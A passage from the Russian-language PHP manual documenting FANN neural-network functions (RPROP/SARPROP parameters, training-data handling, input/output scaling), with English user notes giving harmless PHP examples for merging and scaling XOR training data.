
fann_get_rprop_delta_min — Возвращает минимальный размер шага

Описание

fann_get_rprop_delta_min(resource $ann): float

Минимальный размер шага - это небольшое положительное число, определяющее, насколько маленьким может быть минимальный размер шага.

Значение дельты по умолчанию min равно 0.0.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Минимальный размер шага или false в случае возникновения ошибки.

Смотрите также

  • fann_set_rprop_delta_min() - Устанавливает минимальный размер шага

User Contributed Notes

There are no user contributed notes for this page.


Возвращает начальный размер шага

  • « fann_get_rprop_delta_min
  • fann_get_rprop_increase_factor »
  • PHP Manual
  • Функции Fann
  • Возвращает начальный размер шага

fann_get_rprop_delta_zero

(PECL fann >= 1.0.0)

fann_get_rprop_delta_zero — Возвращает начальный размер шага

Описание

fann_get_rprop_delta_zero(resource $ann): int

Первоначальный размер шага - это положительное число, определяющее начальный размер шага.

По умолчанию нулевое значение дельты равно 0.1.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Начальный размер шага или false в случае возникновения ошибки.

Смотрите также

  • fann_set_rprop_delta_zero() - Устанавливает начальный размер шага
  • fann_get_rprop_delta_min() - Возвращает минимальный размер шага
  • fann_get_rprop_delta_max() - Возвращает максимальный размер шага

User Contributed Notes

There are no user contributed notes for this page.


Возвращает коэффициент увеличения, используемый во время обучения RPROP

  • « fann_get_rprop_delta_zero
  • fann_get_sarprop_step_error_shift »
  • PHP Manual
  • Функции Fann
  • Возвращает коэффициент увеличения, используемый во время обучения RPROP

fann_get_rprop_increase_factor

(PECL fann >= 1.0.0)

fann_get_rprop_increase_factor — Возвращает коэффициент увеличения, используемый во время обучения RPROP

Описание

fann_get_rprop_increase_factor(resource $ann): float

Коэффициент увеличения - это значение больше 1, которое используется для увеличения размера шага во время обучения RPROP.

Коэффициент увеличения по умолчанию составляет 1.2.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Коэффициент увеличения или false в случае возникновения ошибки.

Смотрите также

  • fann_set_rprop_increase_factor() - Устанавливает коэффициент увеличения, используемый во время обучения Rprop

User Contributed Notes

There are no user contributed notes for this page.


Возвращает сдвиг ошибки шага sarprop

  • « fann_get_rprop_increase_factor
  • fann_get_sarprop_step_error_threshold_factor »
  • PHP Manual
  • Функции Fann
  • Возвращает сдвиг ошибки шага sarprop

fann_get_sarprop_step_error_shift

(PECL fann >= 1.0.0)

fann_get_sarprop_step_error_shift — Возвращает сдвиг ошибки шага sarprop

Описание

fann_get_sarprop_step_error_shift(resource $ann): float

Возвращает сдвиг ошибки шага sarprop.

Сдвиг ошибки шага по умолчанию составляет 1.385.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Сдвиг ошибки шага sarprop или false в случае возникновения ошибки.

Примечания

Замечание:

Функция доступна только в том случае, если модуль fann был собран для libfann >= 2.2.

Смотрите также

  • fann_set_sarprop_step_error_shift() - Устанавливает сдвиг ошибки шага sarprop

User Contributed Notes

There are no user contributed notes for this page.


Возвращает пороговый коэффициент ошибки шага sarprop

  • « fann_get_sarprop_step_error_shift
  • fann_get_sarprop_temperature »
  • PHP Manual
  • Функции Fann
  • Возвращает пороговый коэффициент ошибки шага sarprop

fann_get_sarprop_step_error_threshold_factor

(PECL fann >= 1.0.0)

fann_get_sarprop_step_error_threshold_factor — Возвращает пороговый коэффициент ошибки шага sarprop

Описание

fann_get_sarprop_step_error_threshold_factor(resource $ann): float

Возвращает пороговый коэффициент ошибки шага sarprop.

Коэффициент по умолчанию составляет 0.1.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Пороговый коэффициент ошибки шага или false в случае возникновения ошибки.

Примечания

Замечание:

Функция доступна только в том случае, если модуль fann был собран для libfann >= 2.2.

Смотрите также

  • fann_set_sarprop_step_error_threshold_factor() - Устанавливает пороговый коэффициент ошибки шага sarprop

User Contributed Notes

There are no user contributed notes for this page.


Возвращает температуру sarprop

  • « fann_get_sarprop_step_error_threshold_factor
  • fann_get_sarprop_weight_decay_shift »
  • PHP Manual
  • Функции Fann
  • Возвращает температуру sarprop

fann_get_sarprop_temperature

(PECL fann >= 1.0.0)

fann_get_sarprop_temperature — Возвращает температуру sarprop

Описание

fann_get_sarprop_temperature(resource $ann): float

Возвращает температуру sarprop.

Температура по умолчанию составляет 0.015.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Температура sarprop или false в случае возникновения ошибки.

Примечания

Замечание:

Функция доступна только в том случае, если модуль fann был собран для libfann >= 2.2.

Смотрите также

  • fann_set_sarprop_temperature() - Устанавливает температуру sarprop

User Contributed Notes

There are no user contributed notes for this page.


Возвращает сдвиг уменьшения веса sarprop

  • « fann_get_sarprop_temperature
  • fann_get_total_connections »
  • PHP Manual
  • Функции Fann
  • Возвращает сдвиг уменьшения веса sarprop

fann_get_sarprop_weight_decay_shift

(PECL fann >= 1.0.0)

fann_get_sarprop_weight_decay_shift — Возвращает сдвиг уменьшения веса sarprop

Описание

fann_get_sarprop_weight_decay_shift(resource $ann): float

Возвращает сдвиг уменьшения веса sarprop.

Максимальная дельта по умолчанию составляет -6.644.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Сдвиг уменьшения веса sarprop или false в случае возникновения ошибки.

Примечания

Замечание:

Функция доступна только в том случае, если модуль fann был собран для libfann >= 2.2.

Смотрите также

  • fann_set_sarprop_weight_decay_shift() - Устанавливает смещение затухания sarprop

User Contributed Notes

There are no user contributed notes for this page.


Получает общее количество соединений во всей сети

  • « fann_get_sarprop_weight_decay_shift
  • fann_get_total_neurons »
  • PHP Manual
  • Функции Fann
  • Получает общее количество соединений во всей сети

fann_get_total_connections

(PECL fann >= 1.0.0)

fann_get_total_connections — Получает общее количество соединений во всей сети

Описание

fann_get_total_connections(resource $ann): int

Получает общее количество соединений во всей сети.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Общее количество соединений во всей сети или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получает общее количество нейронов во всей сети

  • « fann_get_total_connections
  • fann_get_train_error_function »
  • PHP Manual
  • Функции Fann
  • Получает общее количество нейронов во всей сети

fann_get_total_neurons

(PECL fann >= 1.0.0)

fann_get_total_neurons — Получает общее количество нейронов во всей сети

Описание

fann_get_total_neurons(resource $ann): int

Получает общее количество нейронов во всей сети. Число также включает нейроны смещения, поэтому у сети 2-4-2 есть 2+4+2 +2 (смещение) = 10 нейронов.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Общее количество нейронов во всей сети или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает функцию обработки ошибок, используемую во время обучения

  • « fann_get_total_neurons
  • fann_get_train_stop_function »
  • PHP Manual
  • Функции Fann
  • Возвращает функцию обработки ошибок, используемую во время обучения

fann_get_train_error_function

(PECL fann >= 1.0.0)

fann_get_train_error_function — Возвращает функцию обработки ошибок, используемую во время обучения

Описание

fann_get_train_error_function(resource $ann): int

Возвращает функцию обработки ошибок, используемую во время обучения.

Функции обработки ошибок описаны далее в константах функции обработки ошибок.

Функции обработки ошибок по умолчанию: FANN_ERRORFUNC_TANH.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Константа функции обработки ошибок или false в случае возникновения ошибки.

Смотрите также

  • fann_set_train_error_function() - Устанавливает функцию ошибки, используемую во время тренировки

User Contributed Notes

There are no user contributed notes for this page.


Возвращает функцию остановки, используемую во время обучения

  • « fann_get_train_error_function
  • fann_get_training_algorithm »
  • PHP Manual
  • Функции Fann
  • Возвращает функцию остановки, используемую во время обучения

fann_get_train_stop_function

(PECL fann >= 1.0.0)

fann_get_train_stop_function — Возвращает функцию остановки, используемую во время обучения

Описание

fann_get_train_stop_function(resource $ann): int

Возвращает функцию остановки, используемую во время обучения.

Функции остановки описаны далее в константах функции остановки.

Функция остановки по умолчанию: FANN_STOPFUNC_MSE.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Константа функции остановки или false в случае возникновения ошибки.

Смотрите также

  • fann_set_train_stop_function() - Устанавливает функцию остановки, используемую во время тренировки

User Contributed Notes

There are no user contributed notes for this page.


Возвращает алгоритм обучения

  • « fann_get_train_stop_function
  • fann_init_weights »
  • PHP Manual
  • Функции Fann
  • Возвращает алгоритм обучения

fann_get_training_algorithm

(PECL fann >= 1.0.0)

fann_get_training_algorithm — Возвращает алгоритм обучения

Описание

fann_get_training_algorithm(resource $ann): int

Возвращает алгоритм обучения. Этот алгоритм обучения используется fann_train_on_data() и связанными функциями.

Обратите внимание, что этот алгоритм также используется во время fann_cascadetrain_on_data(), хотя во время каскадного обучения разрешены только FANN_TRAIN_RPROP and FANN_TRAIN_QUICKPROP.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Константа Алгоритма обучения или false в случае возникновения ошибки.

Смотрите также

  • fann_set_training_algorithm() - Устанавливает алгоритм обучения

User Contributed Notes

There are no user contributed notes for this page.


Инициализирует веса с помощью алгоритма Widrow + Nguyen

  • « fann_get_training_algorithm
  • fann_length_train_data »
  • PHP Manual
  • Функции Fann
  • Инициализирует веса с помощью алгоритма Widrow + Nguyen

fann_init_weights

(PECL fann >= 1.0.0)

fann_init_weights — Инициализирует веса с помощью алгоритма Widrow + Nguyen

Описание

fann_init_weights(resource $ann, resource $train_data): bool

Инициализирует веса с помощью алгоритма Widrow + Nguyen.

Функция ведёт себя аналогично fann_randomize_weights(). Она будет использовать алгоритм, разработанный Дерриком Нгуеном и Бернардом Видроу, чтобы установить веса таким образом, чтобы ускорить обучение. Метод не всегда бывает успешным, а в некоторых случаях может быть менее эффективным, чем чисто случайная инициализация.

Алгоритм требует доступа к диапазону входных данных (например, наибольшим и наименьшим входным данным) и, следовательно, принимает второй аргумент, data, который является обучающими данными, которые будут использоваться для обучения сети.

Список параметров

ann

Ресурс (resource) нейронной сети.

train_data

Ресурс (resource) обучающих данных нейронной сети.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_randomize_weights() - Присваивает каждому соединению случайный вес между min_weight и max_weight
  • fann_read_train_from_file() - Читает файл, в котором хранятся данные обучения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество шаблонов в обучающих данных

  • « fann_init_weights
  • fann_merge_train_data »
  • PHP Manual
  • Функции Fann
  • Возвращает количество шаблонов в обучающих данных

fann_length_train_data

(PECL fann >= 1.0.0)

fann_length_train_data — Возвращает количество шаблонов в обучающих данных

Описание

fann_length_train_data(resource $data): int

Возвращает количество шаблонов в ресурсе (resource) обучающих данных.

Список параметров

data

Ресурс (resource) обучающих данных нейронной сети.

Возвращаемые значения

Количество элементов в ресурсе (resource) обучающих данных или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Объединяет обучающие данные

  • « fann_length_train_data
  • fann_num_input_train_data »
  • PHP Manual
  • Функции Fann
  • Объединяет обучающие данные

fann_merge_train_data

(PECL fann >= 1.0.0)

fann_merge_train_data — Объединяет обучающие данные

Описание

fann_merge_train_data(resource $data1, resource $data2): resource

Объединяет данные из data1 и data2 в новый ресурс (resource) обучающих данных.

Список параметров

data1

Ресурс (resource) обучающих данных нейронной сети.

data2

Ресурс (resource) обучающих данных нейронной сети.

Возвращаемые значения

Новый ресурс (resource) объединённых обучающих данных или false в случае возникновения ошибки.

User Contributed Notes

geekgirljoy at gmail dot com 29-Oct-2018 07:19
There will be times when you need to merge separate data sets into a new single set.

This code demonstrates how to merge the XOR dataset from two separate files into a single training file.

File (xor_part_1.data):
1 2 1
-1 -1
-1

File (xor_part_2.data):
3 2 1
-1 1
1
1 -1
1
1 1
-1

Resulting File (xor_complete.data):
4 2 1
-1 -1
-1
-1 1
1
1 -1
1
1 1
-1

<?php
// Create partial data resources
$train_data_1 = fann_read_train_from_file("xor_part_1.data");
$train_data_2 = fann_read_train_from_file("xor_part_2.data");

// Merge into new data resource
$train_data = fann_merge_train_data ($train_data_1, $train_data_2);

// Remove the partial data resources from memory
fann_destroy_train ( $train_data_1 );
fann_destroy_train ( $train_data_2 );

// Save the new complete Data file
fann_save_train ( $train_data , "xor_complete.data");

// Remove the complete data resources from memory
fann_destroy_train ( $train_data );

echo 'All Done!' . PHP_EOL;
?>


Возвращает количество входных данных в каждом из шаблонов в обучающих данных

  • « fann_merge_train_data
  • fann_num_output_train_data »
  • PHP Manual
  • Функции Fann
  • Возвращает количество входных данных в каждом из шаблонов в обучающих данных

fann_num_input_train_data

(PECL fann >= 1.0.0)

fann_num_input_train_data — Возвращает количество входных данных в каждом из шаблонов в обучающих данных

Описание

fann_num_input_train_data(resource $data): int

Возвращает количество входных данных в каждом из шаблонов в ресурсе (resource) обучающих данных.

Список параметров

data

Ресурс (resource) обучающих данных нейронной сети.

Возвращаемые значения

Количество входных данных или false в случае возникновения ошибки.

Смотрите также

  • fann_length_train_data() - Возвращает количество шаблонов в обучающих данных
  • fann_num_output_train_data() - Возвращает количество выходных данных в каждом из шаблонов в обучающих данных

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество выходных данных в каждом из шаблонов в обучающих данных

  • « fann_num_input_train_data
  • fann_print_error »
  • PHP Manual
  • Функции Fann
  • Возвращает количество выходных данных в каждом из шаблонов в обучающих данных

fann_num_output_train_data

(PECL fann >= 1.0.0)

fann_num_output_train_data — Возвращает количество выходных данных в каждом из шаблонов в обучающих данных

Описание

fann_num_output_train_data(resource $data): int

Возвращает количество выходных данных в каждом из шаблонов в ресурсе (resource) обучающих данных.

Список параметров

data

Ресурс (resource) обучающих данных нейронной сети.

Возвращаемые значения

Количество выходных данных или false в случае возникновения ошибки.

Смотрите также

  • fann_length_train_data() - Возвращает количество шаблонов в обучающих данных
  • fann_num_input_train_data() - Возвращает количество входных данных в каждом из шаблонов в обучающих данных

User Contributed Notes

There are no user contributed notes for this page.


Выводит строку ошибки

  • « fann_num_output_train_data
  • fann_randomize_weights »
  • PHP Manual
  • Функции Fann
  • Выводит строку ошибки

fann_print_error

(PECL fann >= 1.0.0)

fann_print_error — Выводит строку ошибки

Описание

fann_print_error(resource $errdat): void

Выводит строку ошибки.

Список параметров

errdat

Или ресурс (resource) нейронной сети, или ресурс (resource) обучающих данных нейронной сети.

Возвращаемые значения

Не возвращает никакого значения.

Смотрите также

  • fann_get_errstr() - Возвращает последнюю строку ошибки

User Contributed Notes

There are no user contributed notes for this page.


Присваивает каждому соединению случайный вес между min_weight и max_weight

  • « fann_print_error
  • fann_read_train_from_file »
  • PHP Manual
  • Функции Fann
  • Присваивает каждому соединению случайный вес между min_weight и max_weight

fann_randomize_weights

(PECL fann >= 1.0.0)

fann_randomize_weights — Присваивает каждому соединению случайный вес между min_weight и max_weight

Описание

fann_randomize_weights(resource $ann, float $min_weight, float $max_weight): bool

Присваивает каждому соединению случайный вес между min_weight и max_weight

С самого начала случайный вес в диапазоне от -0,1 до 0,1.

Список параметров

ann

Ресурс (resource) нейронной сети.

min_weight

Минимальное значение веса.

max_weight

Максимальное значение веса.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_init_weights() - Инициализирует веса с помощью алгоритма Widrow + Nguyen

User Contributed Notes

There are no user contributed notes for this page.


Читает файл, в котором хранятся данные обучения

  • « fann_randomize_weights
  • fann_reset_errno »
  • PHP Manual
  • Функции Fann
  • Читает файл, в котором хранятся данные обучения

fann_read_train_from_file

(PECL fann >= 1.0.0)

fann_read_train_from_file — Читает файл, в котором хранятся данные обучения

Описание

fann_read_train_from_file(string $filename): resource

Читает файл, в котором хранятся данные обучения.

Список параметров

filename

Входной файл в следующем формате:

num_train_data num_input num_output
входные данные, разделённые пробелом
выходные данные, разделённые пробелом

.
.
.

входные данные, разделённые пробелом
выходные данные, разделённые пробелом

Возвращаемые значения

Возвращает ресурс (resource) обучающих данных, или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования fann_read_train_from_file()

<?php
$train_data = fann_read_train_from_file("xor.data");
if ($train_data) {
// Сделайте что-нибудь с $train_data для функции XOR
}
?>

Содержимое xor.data

4 2 1
-1 -1
-1
-1 1
1
1 -1
1
1 1
-1

Смотрите также

  • fann_train_on_data() - Обучение на всем объёме данных на временном интервале
  • fann_destroy_train() - Уничтожает тренировочные данные
  • fann_save_train() - Сохраняет структуру обучения в файл

User Contributed Notes

Ray.Paseur sometimes uses Gmail 03-Mar-2017 08:40
An explanation of the values used in xor.data is available here:
http://php.net/manual/en/fann.examples-1.php#117242


Сбрасывает номер последней ошибки

  • « fann_read_train_from_file
  • fann_reset_errstr »
  • PHP Manual
  • Функции Fann
  • Сбрасывает номер последней ошибки

fann_reset_errno

(PECL fann >= 1.0.0)

fann_reset_errno — Сбрасывает номер последней ошибки

Описание

fann_reset_errno(resource $errdat): void

Сбрасывает номер последней ошибки.

Список параметров

errdat

Или ресурс (resource) нейронной сети, или ресурс (resource) обучающих данных нейронной сети.

Возвращаемые значения

Не возвращает никакого значения.

Смотрите также

  • fann_get_errno() - Возвращает последний номер ошибки
  • fann_reset_errstr() - Сбрасывает последнюю строку ошибки

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает последнюю строку ошибки

  • « fann_reset_errno
  • fann_reset_MSE »
  • PHP Manual
  • Функции Fann
  • Сбрасывает последнюю строку ошибки

fann_reset_errstr

(PECL fann >= 1.0.0)

fann_reset_errstr — Сбрасывает последнюю строку ошибки

Описание

fann_reset_errstr(resource $errdat): void

Сбрасывает последнюю строку ошибки.

Список параметров

errdat

Или ресурс (resource) нейронной сети, или ресурс (resource) обучающих данных нейронной сети.

Возвращаемые значения

Не возвращает никакого значения.

Смотрите также

  • fann_get_errstr() - Возвращает последнюю строку ошибки
  • fann_reset_errno() - Сбрасывает номер последней ошибки

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает среднеквадратичную ошибку из сети

  • « fann_reset_errstr
  • fann_run »
  • PHP Manual
  • Функции Fann
  • Сбрасывает среднеквадратичную ошибку из сети

fann_reset_MSE

(PECL fann >= 1.0.0)

fann_reset_MSE — Сбрасывает среднеквадратичную ошибку из сети

Описание

fann_reset_MSE(string $ann): bool

Сбрасывает среднеквадратичную ошибку из сети.

Функция также сбрасывает количество вышедших из строя битов.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_MSE() - Считывает среднеквадратичную ошибку сети
  • fann_get_bit_fail() - Количество битов сбоя
  • fann_get_bit_fail_limit() - Возвращает предел сбоя битов, использованный во время обучения

User Contributed Notes

There are no user contributed notes for this page.


Запускает нейронную сеть с заданными данными

  • « fann_reset_MSE
  • fann_save_train »
  • PHP Manual
  • Функции Fann
  • Запускает нейронную сеть с заданными данными

fann_run

(PECL fann >= 1.0.0)

fann_run — Запускает нейронную сеть с заданными данными

Описание

fann_run(resource $ann, array $input): array

Запускает нейронную сеть с заданными данными, возвращая массив выходов, номера которых соответствует номерам нейронов в выходном слое.

Список параметров

ann

Ресурс (resource) нейронной сети.

input

Массив входных данных

Возвращаемые значения

Массив выходных данных, либо false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Сохраняет структуру обучения в файл

  • « fann_run
  • fann_save »
  • PHP Manual
  • Функции Fann
  • Сохраняет структуру обучения в файл

fann_save_train

(PECL fann >= 1.0.0)

fann_save_train — Сохраняет структуру обучения в файл

Описание

fann_save_train(resource $data, string $file_name): bool

Сохраняет данные обучения в файл в формате, указанном в fann_read_train_from_file().

Список параметров

data

Ресурс (resource) обучающих данных нейронной сети.

file_name

Имя файла, в котором сохраняются данные обучения.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_read_train_from_file() - Читает файл, в котором хранятся данные обучения

User Contributed Notes

There are no user contributed notes for this page.


Сохраняет всю сеть в файл конфигурации

  • « fann_save_train
  • fann_scale_input_train_data »
  • PHP Manual
  • Функции Fann
  • Сохраняет всю сеть в файл конфигурации

fann_save

(PECL fann >= 1.0.0)

fann_save — Сохраняет всю сеть в файл конфигурации

Описание

fann_save(resource $ann, string $configuration_file): bool

Сохраняет всю сеть в файл конфигурации.

Файл конфигурации содержит всю информацию о нейронной сети и позволяет функции fann_create_from_file() создавать точную копию нейронной сети и всех параметров, связанных с нейронной сетью.

Три параметра (fann_set_callback(), fann_set_error_log(), fann_set_user_data()) НЕ сохраняются в файл, потому что их нельзя безопасно перенести в другое место. Также не сохраняются временные параметры, сгенерированные во время обучения, такие как fann_get_MSE().

Список параметров

ann

Ресурс (resource) нейронной сети.

configuration_file

Путь к файлу конфигурации.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_create_from_file() - Создаёт нейронную сеть с обратным распространением ошибки из конфигурационного файла

User Contributed Notes

There are no user contributed notes for this page.


Масштабирует входные данные в обучающих данных до указанного диапазона

  • « fann_save
  • fann_scale_input »
  • PHP Manual
  • Функции Fann
  • Масштабирует входные данные в обучающих данных до указанного диапазона

fann_scale_input_train_data

(PECL fann >= 1.0.0)

fann_scale_input_train_data — Масштабирует входные данные в обучающих данных до указанного диапазона

Описание

fann_scale_input_train_data(resource $train_data, float $new_min, float $new_max): bool

Масштабирует входные данные в обучающих данных до указанного диапазона.

Список параметров

train_data

Ресурс (resource) обучающих данных нейронной сети.

new_min

Новый минимум после масштабирования входных данных в обучающих данных.

new_max

Новый максимум после масштабирования входных данных в обучающих данных.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_scale_output_train_data() - Масштабирует выходные данные в обучающих данных до указанного диапазона
  • fann_scale_train_data() - Масштабирует входные и выходные данные в обучающих данных до указанного диапазона

User Contributed Notes

There are no user contributed notes for this page.


Масштабирует данные во входном векторе перед подачей их в ann на основе ранее рассчитанных параметров

  • « fann_scale_input_train_data
  • fann_scale_output_train_data »
  • PHP Manual
  • Функции Fann
  • Масштабирует данные во входном векторе перед подачей их в ann на основе ранее рассчитанных параметров

fann_scale_input

(PECL fann >= 1.0.0)

fann_scale_input — Масштабирует данные во входном векторе перед подачей их в ann на основе ранее рассчитанных параметров

Описание

fann_scale_input(resource $ann, array $input_vector): bool

Масштабирует данные во входном векторе перед подачей их в ann на основе ранее рассчитанных параметров.

Список параметров

ann

Ресурс (resource) нейронной сети.

input_vector

Входной вектор, который будет масштабирован.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_descale_input() - Масштабирует данные во входном векторе после получения их на основе ранее рассчитанных параметров
  • fann_scale_output() - Масштабирует данные в выходном векторе перед их передачей в ann на основе ранее рассчитанных параметров

User Contributed Notes

geekgirl dot joy at gmail dot com 29-May-2021 06:27
<?php

// This example will use the XOR dataset with negative one represented
// as zero and one represented as one-hundred and demonstrate how to
// scale those values so that FANN can understand them and then how
// to de-scale the value FANN returns so that you can understand them.

// Scaling allows you to take raw data numbers like -1234.975 or 4502012
// in your dataset and convert them into an input/output range that
// your neural network can understand.

// De-scaling lets you take the scaled data and convert it back into
// the original range.

// scale_test.data
// Note the values are "raw" or un-scaled.
/*
4 2 1
0 0
0
0 100
100
100 0
100
100 100
0
*/

////////////////////
// Configure ANN  //
////////////////////

// New ANN
$ann = fann_create_standard_array(3, [2,3,1]);

// Set activation functions
fann_set_activation_function_hidden($ann, FANN_SIGMOID_SYMMETRIC);
fann_set_activation_function_output($ann, FANN_SIGMOID_SYMMETRIC);

// Read raw (un-scaled) training data from file
$train_data = fann_read_train_from_file("scale_test.data");

// Scale the data range to -1 to 1
fann_set_input_scaling_params($ann , $train_data, -1, 1);
fann_set_output_scaling_params($ann , $train_data, -1, 1);

///////////
// Train //
///////////

// Presumably you would train here (uncomment to perform training)...

// fann_train_on_data($ann, $train_data, 100, 10, 0.01);

// But it's not needed to test the scaling because the training file
// in this case is just used to compute/derive the scale range.
// However, doing the training will improve the answer the ANN gives
// in correlation to the training data.

//////////
// Test //
//////////

$raw_input = array(0, 100); // test XOR (0,100) input
$scaled_input = fann_scale_input ($ann , $raw_input); // scaled XOR (-1,1) input
$descaled_input = fann_descale_input ($ann , $scaled_input); // de-scaled XOR (0,100) input
$raw_output = fann_run($ann, $scaled_input); // get the answer/output from the ANN
$output_descale = fann_descale_output($ann, $raw_output); // de-scale the output

////////////////////
// Report Results //
////////////////////
echo 'The raw_input:' . PHP_EOL;
var_dump($raw_input);

echo 'The raw_input Scaled then De-Scaled (values are unchanged/correct):' . PHP_EOL;
var_dump($descaled_input);

echo 'The Scaled input:' . PHP_EOL;
var_dump($scaled_input);

echo "The raw_output of the ANN (Scaled input):" . PHP_EOL;
var_dump($raw_output);

echo 'The De-Scaled output:' . PHP_EOL;
var_dump($output_descale);

////////////////////
// Example Output //
////////////////////

 /*
The raw_input:
array(2) {
  [0]=>
  float(0)
  [1]=>
  float(100)
}
The raw_input Scaled then De-Scaled (values are unchanged/correct):
array(2) {
  [0]=>
  float(0)
  [1]=>
  float(100)
}
The Scaled input:
array(2) {
  [0]=>
  float(-1)
  [1]=>
  float(1)
}
The raw_output of the ANN (Scaled input):
array(1) {
  [0]=>
  float(1)
}
The De-Scaled output:
array(1) {
  [0]=>
  float(100)
}
*/
geekgirl dot joy at gmail dot com 29-May-2021 06:27
<?php

// This example will use the XOR dataset with negative one represented
// as zero and one represented as one-hundred and demonstrate how to
// scale those values so that FANN can understand them and then how
// to de-scale the value FANN returns so that you can understand them.

// Scaling allows you to take raw data numbers like -1234.975 or 4502012
// in your dataset and convert them into an input/output range that
// your neural network can understand.

// De-scaling lets you take the scaled data and convert it back into
// the original range.

// scale_test.data
// Note the values are "raw" or un-scaled.
/*
4 2 1
0 0
0
0 100
100
100 0
100
100 100
0
*/

////////////////////
// Configure ANN  //
////////////////////

// New ANN
$ann = fann_create_standard_array(3, [2,3,1]);

// Set activation functions
fann_set_activation_function_hidden($ann, FANN_SIGMOID_SYMMETRIC);
fann_set_activation_function_output($ann, FANN_SIGMOID_SYMMETRIC);

// Read raw (un-scaled) training data from file
$train_data = fann_read_train_from_file("scale_test.data");

// Scale the data range to -1 to 1
fann_set_input_scaling_params($ann , $train_data, -1, 1);
fann_set_output_scaling_params($ann , $train_data, -1, 1);

///////////
// Train //
///////////

// Presumably you would train here (uncomment to perform training)...

// fann_train_on_data($ann, $train_data, 100, 10, 0.01);

// But it's not needed to test the scaling because the training file
// in this case is just used to compute/derive the scale range.
// However, doing the training will improve the answer the ANN gives
// in correlation to the training data.

//////////
// Test //
//////////

$raw_input = array(0, 100); // test XOR (0,100) input
$scaled_input = fann_scale_input ($ann , $raw_input); // scaled XOR (-1,1) input
$descaled_input = fann_descale_input ($ann , $scaled_input); // de-scaled XOR (0,100) input
$raw_output = fann_run($ann, $scaled_input); // get the answer/output from the ANN
$output_descale = fann_descale_output($ann, $raw_output); // de-scale the output

////////////////////
// Report Results //
////////////////////
echo 'The raw_input:' . PHP_EOL;
var_dump($raw_input);

echo 'The raw_input Scaled then De-Scaled (values are unchanged/correct):' . PHP_EOL;
var_dump($descaled_input);

echo 'The Scaled input:' . PHP_EOL;
var_dump($scaled_input);

echo "The raw_output of the ANN (Scaled input):" . PHP_EOL;
var_dump($raw_output);

echo 'The De-Scaled output:' . PHP_EOL;
var_dump($output_descale);

////////////////////
// Example Output //
////////////////////

 /*
The raw_input:
array(2) {
  [0]=>
  float(0)
  [1]=>
  float(100)
}
The raw_input Scaled then De-Scaled (values are unchanged/correct):
array(2) {
  [0]=>
  float(0)
  [1]=>
  float(100)
}
The Scaled input:
array(2) {
  [0]=>
  float(-1)
  [1]=>
  float(1)
}
The raw_output of the ANN (Scaled input):
array(1) {
  [0]=>
  float(1)
}
The De-Scaled output:
array(1) {
  [0]=>
  float(100)
}
*/
saakyanalexandr at gmail dot com 27-Nov-2019 08:38
fann_scale_input and fann_scale_output return not bool value. This function return scaling vector.

Example
$r = fann_scale_input($ann, $input);
$output = fann_run($ann, $input);
$s = fann_scale_output ( $ann, $output);

$r and $s is array
Nolife 10-Oct-2017 04:55
Please note -> ALLfann  scaling related functions are not functional.
They are implemented wrong so the scaling is calculated within the library but it's not referenced back to the input variables.


Масштабирует выходные данные в обучающих данных до указанного диапазона

  • « fann_scale_input
  • fann_scale_output »
  • PHP Manual
  • Функции Fann
  • Масштабирует выходные данные в обучающих данных до указанного диапазона

fann_scale_output_train_data

(PECL fann >= 1.0.0)

fann_scale_output_train_data — Масштабирует выходные данные в обучающих данных до указанного диапазона

Описание

fann_scale_output_train_data(resource $train_data, float $new_min, float $new_max): bool

Масштабирует выходные данные в обучающих данных до указанного диапазона.

Список параметров

train_data

Ресурс (resource) обучающих данных нейронной сети.

new_min

Новый минимум после масштабирования выходных данных в обучающих данных.

new_max

Новый максимум после масштабирования выходных данных в обучающих данных.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_scale_input_train_data() - Масштабирует входные данные в обучающих данных до указанного диапазона
  • fann_scale_train_data() - Масштабирует входные и выходные данные в обучающих данных до указанного диапазона

User Contributed Notes

There are no user contributed notes for this page.


Масштабирует данные в выходном векторе перед их передачей в ann на основе ранее рассчитанных параметров

  • « fann_scale_output_train_data
  • fann_scale_train_data »
  • PHP Manual
  • Функции Fann
  • Масштабирует данные в выходном векторе перед их передачей в ann на основе ранее рассчитанных параметров

fann_scale_output

(PECL fann >= 1.0.0)

fann_scale_output — Масштабирует данные в выходном векторе перед их передачей в ann на основе ранее рассчитанных параметров

Описание

fann_scale_output(resource $ann, array $output_vector): bool

Масштабирует данные в выходном векторе перед их передачей в ann на основе ранее рассчитанных параметров.

Список параметров

ann

Ресурс (resource) нейронной сети.

output_vector

